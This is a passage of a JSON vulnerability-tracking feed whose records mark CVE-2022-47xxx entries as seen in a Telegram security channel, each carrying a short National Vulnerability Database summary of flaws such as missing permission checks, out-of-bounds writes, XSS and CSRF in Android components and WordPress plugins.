crafted SVG file.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-04-12T16:23:39.000000Z"}, {"uuid": "a2c779cb-d292-4f2f-8b60-dc4371d3b479", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47335", "type": "seen", "source": "https://t.me/cibsecurity/61867", "content": "\u203c CVE-2022-47335 \u203c\n\nIn telecom service, there is a missing permission check. This could lead to local denial of service in telecom service.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-04-11T16:23:30.000000Z"}, {"uuid": "5e271252-6350-4cc4-a175-6e21e1ffdce7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47468", "type": "seen", "source": "https://t.me/cibsecurity/61860", "content": "\u203c CVE-2022-47468 \u203c\n\nIn telecom service, there is a missing permission check. This could lead to local denial of service in telecom service.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-04-11T16:23:21.000000Z"}, {"uuid": "2c5f416d-94dc-4679-9877-b4482684e1cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47337", "type": "seen", "source": "https://t.me/cibsecurity/61859", "content": "\u203c CVE-2022-47337 \u203c\n\nIn media service, there is a missing permission check. This could lead to local denial of service in media service.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-04-11T16:23:19.000000Z"}, {"uuid": "76423c14-60f2-4053-b218-8e04ad56d037", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47467", "type": "seen", "source": "https://t.me/cibsecurity/61858", "content": "\u203c CVE-2022-47467 \u203c\n\nIn telecom service, there is a missing permission check. This could lead to local denial of service in telecom service.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-04-11T16:23:18.000000Z"}, {"uuid": "70f108b5-6f58-4c27-8f68-aa0b64793d39", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47338", "type": "seen", "source": "https://t.me/cibsecurity/61857", "content": "\u203c CVE-2022-47338 \u203c\n\nIn telecom service, there is a missing permission check. This could lead to local denial of service in telecom service.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2024-01-03T17:36:22.000000Z"}, {"uuid": "ec22cbd4-3223-4c48-b2c2-eed0282ae5ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47464", "type": "seen", "source": "https://t.me/cibsecurity/61856", "content": "\u203c CVE-2022-47464 \u203c\n\nIn telecom service, there is a missing permission check. This could lead to local denial of service in telecom service.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-04-11T16:23:15.000000Z"}, {"uuid": "a0271459-01bc-4ef3-a756-bf6cabb884b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47466", "type": "seen", "source": "https://t.me/cibsecurity/61864", "content": "\u203c CVE-2022-47466 \u203c\n\nIn telecom service, there is a missing permission check. This could lead to local denial of service in telecom service.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2024-01-03T17:36:29.000000Z"}, {"uuid": "6b72fa2f-526a-47bf-a929-34f5d1c75b00", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47362", "type": "seen", "source": "https://t.me/cibsecurity/61863", "content": "\u203c CVE-2022-47362 \u203c\n\nIn telecom service, there is a missing permission check. This could lead to local denial of service in telecom service.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-04-11T16:23:25.000000Z"}, {"uuid": "0cc08cd8-989a-4ea3-ad5c-d2af0a0c3245", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47488", "type": "seen", "source": "https://t.me/cibsecurity/63550", "content": "\u203c CVE-2022-47488 \u203c\n\nIn spipe drive, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with System execution privileges needed.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-09T07:38:34.000000Z"}, {"uuid": "43fb769d-634c-408b-8299-fede0ae893c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47485", "type": "seen", "source": "https://t.me/cibsecurity/63551", "content": "\u203c CVE-2022-47485 \u203c\n\nIn modem control device, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with System execution privileges needed.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-09T07:38:35.000000Z"}, {"uuid": "abeab767-ee4b-4642-a5ee-ee1b5457559f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47469", "type": "seen", "source": "https://t.me/cibsecurity/63568", "content": "\u203c CVE-2022-47469 \u203c\n\nIn ext4fsfilter driver, there is a possible out of bounds read due to a missing bounds check. This could local denial of service with System execution privileges needed.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-09T07:43:28.000000Z"}, {"uuid": "582344bf-b4c3-480c-9d64-c906e4101c37", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47498", "type": "seen", "source": "https://t.me/cibsecurity/63548", "content": "\u203c CVE-2022-47498 \u203c\n\nIn soter service, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with System execution privileges needed.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-09T07:38:32.000000Z"}, {"uuid": "881c056d-c593-4d0c-98c3-ca0de51fb93f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47487", "type": "seen", "source": "https://t.me/cibsecurity/63544", "content": "\u203c CVE-2022-47487 \u203c\n\nIn thermal service, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service local denial of service with no additional execution privileges.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-09T07:38:25.000000Z"}, {"uuid": "726f7f7a-cf9c-4ecf-9db7-8e3a4c5c7608", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47334", "type": "seen", "source": "https://t.me/cibsecurity/63542", "content": "\u203c CVE-2022-47334 \u203c\n\nIn phasecheck server, there is a possible out of bounds read due to a missing bounds check. This could lead to local denial of service with System execution privileges needed.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-09T07:38:20.000000Z"}, {"uuid": "c61e697a-ceff-4fca-8c12-fcdc7809ea99", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47494", "type": "seen", "source": "https://t.me/cibsecurity/63534", "content": "\u203c CVE-2022-47494 \u203c\n\nIn soter service, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with System execution privileges needed.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-09T07:38:10.000000Z"}, {"uuid": "76db3fa7-5d35-412a-8ad9-72c434c53fa4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47490", "type": "seen", "source": "https://t.me/cibsecurity/63533", "content": "\u203c CVE-2022-47490 \u203c\n\nIn soter service, there is a possible missing permission check. This could lead to local denial of service with no additional execution privileges.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-09T07:38:09.000000Z"}, {"uuid": "ca4e4f0f-e7d1-489b-b13c-9a4f6e36acba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47444", "type": "seen", "source": "https://t.me/cibsecurity/61002", "content": "\u203c CVE-2022-47444 \u203c\n\nUnauth. Reflected Cross-Site Scripting (XSS) vulnerability in ProfilePress Membership Team Paid Membership Plugin, Ecommerce, Registration Form, Login Form, User Profile & Restrict Content \u00e2\u20ac\u201c ProfilePress plugin <= 4.5.3 versions.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-03-29T16:15:19.000000Z"}, {"uuid": "3ff4d297-4293-49d5-a715-88f9ba861dd6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47542", "type": "seen", "source": "https://t.me/cibsecurity/61210", "content": "\u203c CVE-2022-47542 \u203c\n\nRed Gate SQL Monitor 11.0.14 through 12.1.46 has Incorrect Access Control, exploitable remotely for Escalation of Privileges.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-03-31T00:34:50.000000Z"}, {"uuid": "55964a1c-672c-42e0-962e-2c6205b35237", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-4744", "type": "seen", "source": "https://t.me/cibsecurity/61205", "content": "\u203c CVE-2022-4744 \u203c\n\nA double-free flaw was found in the Linux kernel\u00e2\u20ac\u2122s TUN/TAP device driver functionality in how a user registers the device when the register_netdevice function fails (NETDEV_REGISTER notifier). This flaw allows a local user to crash or potentially escalate their privileges on the system.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-03-31T00:31:45.000000Z"}, {"uuid": "7b2deeef-9e97-4dd3-9f2c-8ec54d93e4dd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47613", "type": "seen", "source": "https://t.me/cibsecurity/61073", "content": "\u203c CVE-2022-47613 \u203c\n\nAuth. (admin+) Stored Cross-Site Scripting (XSS) vulnerability in QuantumCloud AI ChatBot plugin <= 4.3.0 versions.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-03-29T22:22:06.000000Z"}, {"uuid": "11086e57-36e1-4377-a983-9951e97e21f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47596", "type": "seen", "source": "https://t.me/cibsecurity/61025", "content": "\u203c CVE-2022-47596 \u203c\n\nAuth. (admin+) Stored Cross-Site Scripting (XSS) vulnerability in Jeffrey-WP Media Library Categories plugin <= 1.9.9 versions.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-03-29T20:15:36.000000Z"}, {"uuid": "b5e5ff01-49da-4eb9-b21e-dfca006e4935", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47602", "type": "seen", "source": "https://t.me/cibsecurity/61153", "content": "\u203c CVE-2022-47602 \u203c\n\nAuth. (contributor+) Stored Cross-Site Scripting (XSS) vulnerability in JoomUnited WP Table Manager plugin <= 3.5.2 versions.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-03-30T00:16:06.000000Z"}, {"uuid": "a6fb3392-86c8-49a1-a9f3-c5aa0945ecf3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47610", "type": "seen", "source": "https://t.me/cibsecurity/61062", "content": "\u203c CVE-2022-47610 \u203c\n\nAuth. (admin+) Stored Cross-Site Scripting (XSS) vulnerability in Mr Digital Simple Image Popup plugin <= 1.3.6 versions.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-03-29T22:21:51.000000Z"}, {"uuid": "4708e773-f06e-415b-b188-0809a324454c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47170", "type": "seen", "source": "https://t.me/cibsecurity/60879", "content": "\u203c CVE-2022-47170 \u203c\n\nAuth. (admin+) Stored Cross-Site Scripting (XSS) vulnerability in Unlimited Elements Unlimited Elements For Elementor (Free Widgets, Addons, Templates) plugin <= 1.5.48 versions.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-03-28T12:39:00.000000Z"}, {"uuid": "e74b166b-8661-47a8-848c-aa8acb9ffc84", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47433", "type": "seen", "source": "https://t.me/cibsecurity/61007", "content": "\u203c CVE-2022-47433 \u203c\n\nUnauth. Reflected Cross-Site Scripting vulnerability in Daniel Powney Multi Rating plugin <= 5.0.5 versions.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-03-29T16:15:27.000000Z"}, {"uuid": "b29a44ae-e014-4640-bccb-f3de2a9b06b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47438", "type": "seen", "source": "https://t.me/cibsecurity/61006", "content": "\u203c CVE-2022-47438 \u203c\n\nAuth. (editor+) Stored Cross-Site Scripting (XSS) vulnerability in WpDevArt Booking calendar, Appointment Booking System plugin <= 3.2.3 versions.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-03-29T16:15:23.000000Z"}, {"uuid": "18211e82-78f9-47e6-b348-154ef39307b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47529", "type": "seen", "source": "https://t.me/cibsecurity/60890", "content": "\u203c CVE-2022-47529 \u203c\n\nInsecure Win32 memory objects in Endpoint Windows Agents in RSA NetWitness Platform before 12.2 allow local and admin Windows user accounts to modify the endpoint agent service configuration: to either disable it completely or run user-supplied code or commands, thereby bypassing tamper-protection features via ACL modification.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-03-28T16:44:44.000000Z"}, {"uuid": "011a4093-f3b0-4a09-be12-def9ab6a003a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47925", "type": "seen", "source": "https://t.me/cibsecurity/60784", "content": "\u203c CVE-2022-47925 \u203c\n\nThe validate JSON endpoint of the Secvisogram csaf-validator-service in versions < 0.1.0 processes tests with unexpected names. This insufficient input validation of requests by an unauthenticated remote user might lead to a DoS of the process answering the current request while having no effect on other requests.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-03-27T18:20:06.000000Z"}, {"uuid": "f45bd6d4-0832-414c-935a-0aa3d432deeb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47924", "type": "seen", "source": "https://t.me/cibsecurity/60779", "content": "\u203c CVE-2022-47924 \u203c\n\nAn high privileged attacker may pass crafted arguments to the validate function of csaf-validator-lib of a locally installed Secvisogram in versions < 0.1.0 wich can result in arbitrary code execution and DoS once the users triggers the validation.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-03-27T18:19:58.000000Z"}, {"uuid": "15bf59e3-b252-4320-984c-4f739ba31864", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47146", "type": "seen", "source": "https://t.me/cibsecurity/60777", "content": "\u203c CVE-2022-47146 \u203c\n\nUnauth. Reflected Cross-Site Scripting (XSS) vulnerability in Contempoinc Real Estate 7 WordPress theme <= 3.3.1 versions.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-03-27T18:19:57.000000Z"}, {"uuid": "0620fe8e-9d31-40ae-864d-f599729db3ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47502", "type": "seen", "source": "https://t.me/cibsecurity/60653", "content": "\u203c CVE-2022-47502 \u203c\n\nApache OpenOffice documents can contain links that call internal macros with arbitrary arguments. Several URI Schemes are defined for this purpose. Links can be activated by clicks, or by automatic document events. The execution of such links must be subject to user approval. In the affected versions of OpenOffice, approval for certain links is not requested; when activated, such links could therefore result in arbitrary script execution.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-03-24T19:42:31.000000Z"}, {"uuid": "388a7700-38da-487d-a970-d60c5ee99f5c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47145", "type": "seen", "source": "https://t.me/cibsecurity/60588", "content": "\u203c CVE-2022-47145 \u203c\n\nReflected Cross-Site Scripting (XSS) vulnerability in Blockonomics WordPress Bitcoin Payments \u00e2\u20ac\u201c Blockonomics plugin <= 3.5.7 versions.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-03-23T19:36:47.000000Z"}, {"uuid": "7e72c7fc-b09a-49ef-a7e0-54ec25fca063", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47589", "type": "seen", "source": "https://t.me/cibsecurity/60576", "content": "\u203c CVE-2022-47589 \u203c\n\nAuth. (admin+) Stored Cross-Site Scripting (XSS) vulnerability in this.Functional CTT Expresso para WooCommerce plugin <= 3.2.11 versions.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-03-23T17:41:50.000000Z"}, {"uuid": "481ec833-acde-486c-a798-83ad5af57b35", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47431", "type": "seen", "source": "https://t.me/cibsecurity/60556", "content": "\u203c CVE-2022-47431 \u203c\n\nReflected Cross-Site Scripting (XSS) vulnerability in Tussendoor internet & marketing Open RDW kenteken voertuiginformatie plugin <= 2.0.14 versions.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-03-23T15:48:35.000000Z"}, {"uuid": "9cd74f68-e7d1-41fd-b981-76fc5a22d023", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47166", "type": "seen", "source": "https://t.me/cibsecurity/59878", "content": "\u203c CVE-2022-47166 \u203c\n\nCross-Site Request Forgery (CSRF) vulnerability in voidCoders Void Contact Form 7 Widget For Elementor Page Builder plugin <= 2.1.1 versions.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-03-13T13:23:08.000000Z"}, {"uuid": "968ff2c8-a373-4782-8f29-b26ce00e19a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47870", "type": "seen", "source": "https://t.me/cibsecurity/61382", "content": "\u203c CVE-2022-47870 \u203c\n\nA Cross Site Scripting (XSS) vulnerability in the web SQL monitor login page in Redgate SQL Monitor 12.1.31.893 allows remote attackers to inject arbitrary web Script or HTML via the returnUrl parameter.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-04-04T16:30:34.000000Z"}, {"uuid": "279110cd-a13f-4ba4-8000-2e7195bf3ddf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47591", "type": "seen", "source": "https://t.me/cibsecurity/60314", "content": "\u203c CVE-2022-47591 \u203c\n\nReflected Cross-Site Scripting (XSS) vulnerability in Mickael Austoni Map Multi Marker plugin <= 3.2.1 versions.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-03-20T15:34:19.000000Z"}, {"uuid": "89d323b0-d9cd-4ded-8b05-4149178b28f5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47592", "type": "seen", "source": "https://t.me/cibsecurity/60310", "content": "\u203c CVE-2022-47592 \u203c\n\nReflected Cross-Site Scripting (XSS) vulnerability in Dmytriy.Cooperman MagicForm plugin <= 0.1 versions.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-03-20T15:34:14.000000Z"}, {"uuid": "6aaba47d-2c9a-4d9c-8839-a4f31ce2455a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47141", "type": "seen", "source": "https://t.me/cibsecurity/59952", "content": "\u203c CVE-2022-47141 \u203c\n\nCross-Site Request Forgery (CSRF) vulnerability in Seerox WP Dynamic Keywords Injector plugin <= 2.3.15 versions.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-03-14T12:54:11.000000Z"}, {"uuid": "606d23c7-cb5e-4f49-a27f-5b500108e1a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47143", "type": "seen", "source": "https://t.me/cibsecurity/59951", "content": "\u203c CVE-2022-47143 \u203c\n\nCross-Site Request Forgery (CSRF) vulnerability in Themeisle Multiple Page Generator Plugin \u00e2\u20ac\u201c MPG plugin <= 3.3.9 versions.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-03-14T12:54:10.000000Z"}, {"uuid": "23b08745-0104-4db5-895a-3e00ba8bf629", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47443", "type": "seen", "source": "https://t.me/cibsecurity/59944", "content": "\u203c CVE-2022-47443 \u203c\n\nCross-Site Request Forgery (CSRF) vulnerability in Daniel Powney Multi Rating plugin <= 5.0.5 versions.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-03-14T12:54:00.000000Z"}, {"uuid": "203a271e-35ba-4db1-b7c9-9a2c5866336d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47163", "type": "seen", "source": "https://t.me/cibsecurity/59943", "content": "\u203c CVE-2022-47163 \u203c\n\nCross-Site Request Forgery (CSRF) vulnerability in Tips and Tricks HQ, josh401 WP CSV to Database \u00e2\u20ac\u201c Insert CSV file content into WordPress plugin <= 2.6 versions.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-03-14T12:53:59.000000Z"}, {"uuid": "18e3cdcd-0614-4e49-92fe-f25215c966c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47595", "type": "seen", "source": "https://t.me/cibsecurity/59942", "content": "\u203c CVE-2022-47595 \u203c\n\nImproper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in WP Go Maps (formerly WP Google Maps) plugin <= 9.0.15 versions.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-03-14T12:53:55.000000Z"}, {"uuid": "dcdcbac6-bd1c-4644-a880-c37d4ec84121", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47456", "type": "seen", "source": "https://t.me/cibsecurity/59865", "content": "\u203c CVE-2022-47456 \u203c\n\nIn wlan driver, there is a possible missing params check. This could lead to local denial of service in wlan services.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-03-11T00:27:44.000000Z"}, {"uuid": "b01f53b8-c1ce-46a9-a56e-c19b597263eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47453", "type": "seen", "source": "https://t.me/cibsecurity/59839", "content": "\u203c CVE-2022-47453 \u203c\n\nIn wcn service, there is a possible missing params check. This could lead to local denial of service in wcn service.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-03-11T00:21:34.000000Z"}, {"uuid": "e285db93-853b-476f-a1df-4776d7c24b54", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47440", "type": "seen", "source": "https://t.me/cibsecurity/59879", "content": "\u203c CVE-2022-47440 \u203c\n\nCross-Site Request Forgery (CSRF) vulnerability in Joseph C Dolson My Tickets plugin <= 1.9.10 versions.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-03-13T13:23:10.000000Z"}, {"uuid": "c157cc07-9cd6-40b1-93d2-25b9c66e5ab6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47472", "type": "seen", "source": "https://t.me/cibsecurity/59859", "content": "\u203c CVE-2022-47472 \u203c\n\nIn telephony service, there is a missing permission check. This could lead to local information disclosure with no additional execution privileges needed.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-03-11T00:27:37.000000Z"}, {"uuid": "36bb195b-75f7-40ea-8501-90d674061dbf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47483", "type": "seen", "source": "https://t.me/cibsecurity/59857", "content": "\u203c CVE-2022-47483 \u203c\n\nIn telephony service, there is a missing permission check. This could lead to local denial of service in telephone service with no additional execution privileges needed.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-03-11T00:27:36.000000Z"}, {"uuid": "66fc873d-73e9-452f-ab8a-e3719b57878c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47458", "type": "seen", "source": "https://t.me/cibsecurity/59853", "content": "\u203c CVE-2022-47458 \u203c\n\nIn wlan driver, there is a possible missing params check. This could lead to local denial of service in wlan services.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-03-11T00:27:31.000000Z"}, {"uuid": "66261e15-fe75-4b0e-8eb5-1162309cabff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47484", "type": "seen", "source": "https://t.me/cibsecurity/59848", "content": "\u203c CVE-2022-47484 